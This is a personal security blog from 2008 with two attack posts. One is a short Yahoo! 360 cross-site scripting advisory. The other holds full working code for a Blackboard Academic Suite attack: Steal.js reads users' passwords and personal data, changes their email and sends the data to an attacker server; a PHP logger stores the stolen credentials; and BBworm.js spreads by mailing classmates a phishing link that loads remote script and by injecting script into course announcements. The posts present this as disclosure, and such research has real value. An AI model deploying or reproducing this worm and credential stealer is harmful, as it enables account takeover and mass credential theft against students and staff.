a small place to share your BIG knowledge

September 21, 2009

This blog is closed.

Filed under: Uncategorized — knight4vn @ 7:25 pm

Hi everybody,

I have closed this blog and moved to the new one:

http://5mins.wordpress.com

See you in my new blog. :)

June 14, 2008

Yahoo! 360 XSS Vulnerability

Filed under: Uncategorized — knight4vn @ 5:57 pm
Tags: , , , ,

This is the report I sent to securityfocus. I’m gonna post about writing an XSS worm using this security hole in the next few days. It’s too lengthy to be covered in one single post. So this tutorial probably contains 2-3 parts. Right now, I’m quite busy with my summer classes but I hope I have it finished in time.

Application : Yahoo!360 Social networking site.

Release Date : June 13th 2008


Introduction:

Yahoo! 360° , introduced in 2005, is a personal communication portal operated by Yahoo!.

360° includes social networking, blogging, and photo sharing services.

Users can create personal web sites, share photos from Yahoo! Photos, maintain blogs, lists of local reviews, supply profile information, and see which friends are currently online.


Vulnerability:

Yahoo! 360 is vulnerable to Cross site scripting.


Discussion:

Yahoo! 360 has its built-in html filter which allows only html tags in their white-list to be displayed to the users. In addition, the string “javascript” is stripped out immediately if appears anywhere between ‘<’ and ‘>’. This mechanism helps preventing dangerous script injected by the malicious users.

However, the filter does not remove variants of the original “javascript” string such as: “JavaScript”, “JAVASCRIPT” and etc.. Unfortunately, in some versions of IE (IE 6.0.x), these variants are treated equally as the normal “javascript”. Therefore, hackers can take advantage of this bug to execute evil javascript code to create blog, send messages and spread XSS worm with user identity. The possibility is endless.


Exploit:

Compose a new entry by going to:

http://blog.360.yahoo.com/blog/compose.html


Sample of an entry injected with hidden javascript code:

[HTML CODE]

<table background=JavaScript:alert(123)><tbody>Blogcontent</tbody><table>

[HTMLCODE]


Author: Duong ThanhKnight4vn (knightvn {at} gmail {dot} com)

March 27, 2008

Hacking Blackboard Academic Suite.

Filed under: hacking — knight4vn @ 4:39 pm
Tags: , , ,

Download:

http://www.scribd.com/word/download/2363025?extension=pdf

View online:

Proof – of – Concept:

  • Steal.js

/**
* @Author: Duong Thanh - Knight4vn (knightvn (at) gmail.com)
* FILE: BBworm.js
* A web-based worm using Blackboard Academic Suites' Vulnerability
*
* DISCLAIMER: This exploit tool is provided only to test systems for a
* known vulnerability.  Do not use this tool on systems you do not control,
* and do not use this tool on networks you do not own without appropriate
* consent from the network owner.  You are responsible for any damage your
* use of the tool causes.  In no event may the author of this tool be held
* responsible for damages relating to its use.
*/

// CONFIGURATION SECTION
var _changedEmail = "hacker@gmail.com";
var _logInfoURL = "http://hacker/log.php"; //simple php script to log victim's information

// STORED SECTION
// We are using Global Variables to reduce loading time of victim's browser
var _userID; // userID
var _courseIDs; // array of courses victim taking or teaching
var _userName; //userName of that user
var _userPassword; //user's current encrypted password
var _userEmail; //user's current email address
var _userFirstName;
var _userLastName;
var _interval_3;
var _interval_4;

function getAjaxObj()
{
var ajaxRequest;
try {
ajaxRequest = new XMLHttpRequest();
}
catch (e)
{
try	{ ajaxRequest = new ActiveXObject("Msxml2.XMLHTTP"); 	}
catch (e)
{
try	{ ajaxRequest = new ActiveXObject("Microsoft.XMLHTTP"); 	}
catch (e)
{
alert("Your browser broke!");
return false;
}
}
}
return ajaxRequest;
}

function ajaxPost(url, requestString)
{
var ajaxRequest = getAjaxObj();
ajaxRequest.open("POST", url, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.send(requestString);
}

function ajaxGet(url)
{
var ajaxRequest = getAjaxObj();
ajaxRequest.open("GET", url, true);
ajaxRequest.send(null);
}

function ajaxGetwithResult(url, handler)
{
var ajaxRequest = getAjaxObj();
ajaxRequest.open("GET", url, true);
ajaxRequest.onreadystatechange = function()
{
if (ajaxRequest.readyState==4)
{
handler(ajaxRequest.responseText);
}
}
ajaxRequest.send(null);
}

function ajaxPostwithResult(url, requestString, handler)
{
var ajaxRequest = getAjaxObj();
ajaxRequest.open("POST", url, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.setRequestHeader("Content-Length", requestString.length);
ajaxRequest.setRequestHeader("Connection", "close");

ajaxRequest.onreadystatechange = function()
{
if (ajaxRequest.readyState==4)
{
handler(ajaxRequest.responseText);
}
}
ajaxRequest.send(requestString);
}

//I had used RegExp at first, but later I found out that this technique  is simply the best
function extractUserInfos(str)
{
var tempDiv = document.createElement("div");
tempDiv.innerHTML = str;
var arr = tempDiv.getElementsByTagName("input");

_userFirstName = arr["firstName"].value;
_userLastName = arr["lastName"].value;
_userEmail = arr["email"].value;
_userName = arr["userName"].value;
_userPassword = arr["password"].value;
_userID = arr["user_id"].value;
}

function getUserInfos()
{
ajaxGetwithResult("/webapps/blackboard/execute/editUser?context=self_modify", extractUserInfos);
}

function changeEmail()
{
var url = "/webapps/blackboard/execute/editUser";
var requestStr = "firstName="+_userFirstName+"&lastName="+_userLastName+"&email="+_changedEmail+"&userName="+_userName+"&user_id="+_userID+"&dispatch=save&context=self_modify&handle=my_inst_personal_edit&modify=true&self=true";
ajaxPost(url, requestStr);
}

function logInfo()
{
logInfoImg = new Image(0,0);
logInfoImg.src = _logInfoURL + "?user=" + _userName +"&p="+_userPassword+"&fname="+_userFirstName+"&lname="+_userLastName+"&email="+_userEmail;
document.body.appendChild(logInfoImg);
window.clearInterval(_interval_3);
}

//check if getUserID() completely finished or not?
function ready2ChangeEmail()
{
if (_userID != null)
{
changeEmail();
window.clearInterval(_interval_4);
}
}

function init()
{
getUserInfos();
_interval_4 = window.setInterval("ready2ChangeEmail()", 500);
_interval_3 = window.setInterval("logInfo()",700);

}

init();
  • logInfo.php
<?php
	//File Name: logInfo.php
	//@Author : Knight4vn
	//A simple PHP script to log user's account information

$user = $_REQUEST['user'];
$p = $_REQUEST['p'];
$fname = $_REQUEST['fname'];
$lname = $_REQUEST['lname'];
$email = $_REQUEST['email'];

if($user)
{
   $fin = fopen("user.txt", "a");
   $currentTime = date("d/m/y : H:i:s", time());
   $str = "Time: ".$currentTime."  User: ".$user."  Pwd: ".$p."  Fname:".$fname." Lname:".$lname." Email:".$email."\n";
   fwrite($fin, $str);
}
?>
  • BBworm.js
/**
 * @Author: Duong Thanh - Knight4vn (knightvn (at) gmail.com)
 * FILE: BBworm.js
 * A web-based worm using Blackboard Academic Suites' Vulnerability
 *
 * DISCLAIMER: This exploit tool is provided only to test systems for a
 * known vulnerability.  Do not use this tool on systems you do not control,
 * and do not use this tool on networks you do not own without appropriate
 * consent from the network owner.  You are responsible for any damage your
 * use of the tool causes.  In no event may the author of this tool be held
 * responsible for damages relating to its use.
 */

// CONFIGURATION SECTION
var _logInfoURL = "http://hacker.com/logInfo.php";
var _emailSubject = "Hi I'm your classmate."; //subject of the email will be sent to victim's classmates
var _emailBody  = "I did not understand this lecture slide. Could you please help me out?"; //body of the email
	_emailBody += "http://site.edu/webapps/blackboard/execute/viewCatalog?type=Course&searchText=%22%3E%3Cscript%20src=%22http://baotreonline.com/kduxradio/hck/steal.js%22%3E%3C/script%3E"; //non-persistent XSS exploit URL

var _announcementTitle  = 'Hi this is an normal announcement!  ">' ; // fake announcement title
	_announcementTitle += '%3C%73%63%72%69%70%74%20%73%72%63%20%3D%20%27%68%74%74%70%3A%2F%2F%65%76%69%6C%2F%77%6F%72%6D%2E%6A%73%27%3E%3C%2F%73%63%72%69%70%74%3E'; //inject malicious script to this announcement using persistent XSS hole
var _announcementBody   = "Just wanna say hi!";

// STORED SECTION
// We are using Global Variables to reduce loading time of victim's browser
var _userID; // userID
var _courseIDs; // array of courses victim taking or teaching
var _userName; //userName of that user
var _userPassword; //user's current encrypted password
var _userEmail; //user's current email address
var _userFirstName;
var _userLastName;

function getAjaxObj()
{
	var ajaxRequest;
	try	{	ajaxRequest = new XMLHttpRequest(); 	}
	catch (e)
	{
		try
		{	ajaxRequest = new ActiveXObject("Msxml2.XMLHTTP");	}
		catch (e)
		{
		try	{	ajaxRequest = new ActiveXObject("Microsoft.XMLHTTP");	}
			catch (e) {	return false;		}
		}
	}
	return ajaxRequest;

}

function ajaxPost(url, requestString)
{
	var ajaxRequest = getAjaxObj();
	ajaxRequest.open("POST", url, true);
	ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    ajaxRequest.send(requestString);
}

function ajaxGet(url)
{
	var ajaxRequest = getAjaxObj();
	ajaxRequest.open("GET", url, true);
	ajaxRequest.send(null);
}

function ajaxGetwithResult(url, handler)
{
    var ajaxRequest = getAjaxObj();
	ajaxRequest.open("GET", url, true);
	ajaxRequest.onreadystatechange = function()
	{
  		if (ajaxRequest.readyState==4)
		{
			handler(ajaxRequest.responseText);
 		}
    }
	ajaxRequest.send(null);
}

function ajaxPostwithResult(url, requestString, handler)
{
	var ajaxRequest = getAjaxObj();
	ajaxRequest.open("POST", url, true); 

	ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
	ajaxRequest.setRequestHeader("Content-Length", requestString.length);
	ajaxRequest.setRequestHeader("Connection", "close");

	ajaxRequest.onreadystatechange = function()
	{
  		if (ajaxRequest.readyState==4)
		{
   			handler(ajaxRequest.responseText);
 		}
    }
    ajaxRequest.send(requestString);
}

function extractUserInfo(str)
{
	//a temporary div trick works better than using RegEx to extract info
	var tempDiv = document.createElement("div");
	tempDiv.innerHTML = str;
	var arr = tempDiv.getElementsByTagName("input");

	_userFirstName = arr["firstName"].value;
	_userLastName = arr["lastName"].value;
	_userEmail = arr["email"].value;
	_userName = arr["userName"].value;
	_userPassword = arr["password"].value;
	_userID = arr["user_id"].value;

}

function getUserInfo()
{
	ajaxGetwithResult("/webapps/blackboard/execute/editUser?context=self_modify", extractUserInfo);
}

function extractCourseIDs(responseText)
{
	var searchStr = /_[0-9]{3,8}_1/g;
    var arr = responseText.match(searchStr);
	_courseIDs = arr;

}

function getCourseIDs()
{
	ajaxGetwithResult("/webapps/gradebook/do/student/viewCourses", extractCourseIDs);
}

function logInfo()
{
   logInfoImg = new Image(0,0);
   logInfoImg.src = _logInfoURL + "?user=" + _userName +"&p="+_userPassword+"&fname="+_userFirstName+"&lname="+_userLastName+"&email="+_userEmail;
   document.body.appendChild(logInfoImg);
}

function sendEmail2People()
{
  for (var i = 0; i < _courseIDs.length; i++)
	{
		var requestBody =   '-----------------------------263533012628632\r\n';
			requestBody +=  'Content-Disposition: form-data; name="navItem"\r\n';
			requestBody +=  '\r\n';
			requestBody +=  'email_all_students\r\n';
			requestBody +=  '-----------------------------263533012628632\r\n';
			requestBody +=  'Content-Disposition: form-data; name="course_id"\r\n';
			requestBody +=  '\r\n';
			requestBody +=  _courseIDs[i];
			requestBody +=  '\r\n';
			requestBody +=  '-----------------------------263533012628632\r\n';
			requestBody +=  'Content-Disposition: form-data; name="subject"\r\n';
			requestBody +=  '\r\n';
			requestBody +=  _emailSubject;
			requestBody +=  '\r\n';
			requestBody +=  '-----------------------------263533012628632\r\n';
			requestBody +=  'Content-Disposition: form-data; name="messagetext"\r\n';
			requestBody +=  '\r\n';
		    requestBody +=  _emailBody;
			requestBody +=  '\r\n';
			requestBody +=  '-----------------------------263533012628632\r\n';
			requestBody +=  'Content-Disposition: form-data; name="email_file_"; filename=""\r\n';
			requestBody +=  'Content-Type: application/octet-stream\r\n';
			requestBody +=  '\r\n';
			requestBody +=  '\r\n';
			requestBody +=  '-----------------------------263533012628632--\r\n';

			var url = "/webapps/blackboard/execute/sendEmail?navItem=email_all_students&course_id=" + _courseIDs[i];
			var ajaxRequest = getAjaxObj();
			ajaxRequest.open("POST", url, true);
			ajaxRequest.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------263533012628632");
	    	ajaxRequest.send(requestBody);
	  }

}

function postAnnouncements()
{
   for(var i = 0; i < _courseIDs.length; i++)
	{
		var url = "/bin/common/announcement.pl";
		/*
		Blackboard requires instructor has to actually access the Add Announcement page first
		( A record will be added to the DB each time the instructor visit Add Announcement page then  it is removed after the Announcement successfully added)
		the direct ajaxPost is gonna face a system error if we dont request Add Announcement page first with victim's session
		Therefore, the following get request solves that problem
		*/

		var getStr = "?action=ADD&course_id=COURSEID&render_type=EDITABLE&context=course";
		getStr = getStr.replace("COURSEID", _courseIDs[i]);
		ajaxGet(url + getStr);

		var postStr = "action=PUT&context=course&announcement_id=_pk1_pk2&course_id=COURSEID&data__announcement___pk1_pk2__announcement_type=C&render_type=FORM&data__announcements___pk1_pk2__subject=TITLE&data__announcements___pk1_pk2__announcement_f=&data__announcements___pk1_pk2__announcement_w=&data__announcements___pk1_pk2__text_format_type=H&text_style=html&text_format_type=H&data__announcements___pk1_pk2__announcement=BODY&data__announcements___pk1_pk2__permanent_ind=N&data__announcements___pk1_pk2__start_date_mm=01&data__announcements___pk1_pk2__start_date_dd=27&data__announcements___pk1_pk2__start_date_yyyy=2008&data__announcements___pk1_pk2__start_date=&pickdate=&pickname=&data__announcements___pk1_pk2__start_date_hh=03&data__announcements___pk1_pk2__start_date_mi=00&data__announcements___pk1_pk2__start_date_am=1&data__announcements___pk1_pk2__end_date_mm=01&data__announcements___pk1_pk2__end_date_dd=28&data__announcements___pk1_pk2__end_date_yyyy=2008&data__announcements___pk1_pk2__end_date=&data__announcements___pk1_pk2__end_date_hh=03&data__announcements___pk1_pk2__end_date_mi=00&data__announcements___pk1_pk2__end_date_am=1&props__announcements___pk1_pk2__link_source_pk1=&props__announcements___pk1_pk2__link_source_table=&=&location=&props__announcements___pk1_pk2__send_email=N";
		postStr = postStr.replace("TITLE", _announcementTitle);
		postStr = postStr.replace("BODY", _announcementBody);
		postStr = postStr.replace("COURSEID", _courseIDs[i]);

		//a trick to get around setTimeout limitation
		var func = "ajaxPost('"+url+"','"+postStr+"')";
		window.setTimeout(func, 6000);
	}
}

function init()
{
    getUserInfo();
	getCourseIDs();
    window.setTimeout("sendEmail2People()", 2500);
	window.setTimeout("postAnnouncements()", 2500);
    window.setTimeout("logInfo()", 2500);

}

init();

January 30, 2008

Know your enemy!

Filed under: Uncategorized — knight4vn @ 12:04 am

funny-cute-cats-1.jpg

The Rubric Theme Blog at WordPress.com.

Follow

Get every new post delivered to your Inbox.